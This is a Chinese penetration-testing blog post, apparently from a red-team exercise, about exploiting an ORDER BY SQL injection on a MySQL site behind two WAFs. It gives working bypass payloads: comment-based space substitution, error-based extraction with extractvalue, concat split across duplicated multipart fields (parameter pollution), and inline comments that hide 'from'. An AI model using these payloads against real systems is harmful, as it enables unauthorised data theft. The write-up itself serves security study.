一个使出浑身解数的注入点
0x00 前言
说来也奇怪,每次HW我都能碰到有意思的注入点,相关过程也确实是废了不少心思,记录一下
0x01 表面寻常的注入点
这是一个表面上很寻常的注入点,去除掉无关信息,大概长这样:
sord=deptname%20desc&name=xxxxxxx
注入点在sord参数,根据最初信息,可以推测大致的原始SQL语句如下,这是一个可控输入点,在order by后的注入点
SELECT * FROM TABLENAME WHERE NAME = 'XXX' ORDER BY deptname DESC
这个位置的注入注入点,没法用联合查询,没法用Where,如果不能显错,要出数据就只能盲注了,不过好在,这个点是可以显错的可以堆叠的。
0x02 两层WAF
确认了注入点存在,所以首先确认一下数据库类型,一番简单操作,最终确认是MySQL数据库,而且权限也比较高。测试期间确认有两层WAF,一层代码层面软WAF,一层硬件WAF。
-
• 硬件WAF,会直接重置连接
-
• 软件WAF,则会返回请求的链接包含危险字符。
两层WAF均不会对请求内容进行修改,只要请求包满足条件,就会直接中断,所以类似使用双写这种方式,没有办法使用。
经过简单尝试,发现规则如下,:
-
• 包含下列字符直接拦截:;--,空格
-
• select 后包含from拦截
-
• concat后括号中含有【逗号】拦截
-
• 忽视多余的%
-
• 无视大小写
0x02 逐个击破
确认清楚规则,接下来就是一个一个绕WAF了,首先空格是最好绕过的,使用%09、%0A、/****/都是可以绕过的。
其次就是;--,这个也很好绕过, 中间插入间隔字符即可
然后我为了编辑方便,修改Body格式为form-data模式,这也是一个小技巧,会有意想不到效果。此时呢,Payload变成了这个样子
------WebKitFormBoundarygbRyufgEvsisGYyP
Content-Disposition: form-data; name="sord"
desc;
select/**/extractvalue(rand(),":AAAAAAA")
--
------WebKitFormBoundarygbRyufgEvsisGYyP--
这个时候能已经能够正常显错,打印出:
XPATH syntax error: ':AAAAAAA'
但是如果要查询数据,就不得不避免的需要使用CONCAT函数
------WebKitFormBoundarygbRyufgEvsisGYyP
Content-Disposition: form-data; name="sord"
desc;
select/**/extractvalue(rand(),concat(":","AAAAAAA"))
--
------WebKitFormBoundarygbRyufgEvsisGYyP--
在这里我卡了很久,不论是使用内联注释, 还是嵌套各种注释尝试混淆WAF的正则都无果,最终用了一个很骚的路子,之前一直没有机会用,Payload如下
------WebKitFormBoundarygbRyufgEvsisGYyP
Content-Disposition: form-data; name="sord"
desc;
select/**/extractvalue(rand(),concat(":"
------WebKitFormBoundarygbRyufgEvsisGYyP
Content-Disposition: form-data; name="sord"
"AAAAAAA"))
--
------WebKitFormBoundarygbRyufgEvsisGYyP--
这,就是大名鼎鼎的“参数污染”
幸好目标用的是IIS做中间件,这样虽然解决了逗号的问题,但是没法解决最后一个Boss。
我尝试了相当多的办法,最终都没有办法绕过这个这个规则,即便是参数污染,但是WAF的识别规则,也会将两个参数内容,合并之后,再做分析,这样from又到了select后面,依然会被拦截。
好在功夫不负有心人,内联注释救了我
------WebKitFormBoundarygbRyufgEvsisGYyP
Content-Disposition: form-data; name="sord"
desc;
select/**/extractvalue(rand(),concat(":"
------WebKitFormBoundarygbRyufgEvsisGYyP
Content-Disposition: form-data; name="sord"
'AAAAA'/*!from
TABLE_NAME*/
))
--
------WebKitFormBoundarygbRyufgEvsisGYyP--
0x03 最后
其实这里面还有很多坑的,但是关键点已经说完了,在这里就没必要在赘述。附一张出数据的截图,
原文始发于微信公众号(Kv2的万事屋):【SQL注入】一个使出浑身解数的注入点
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论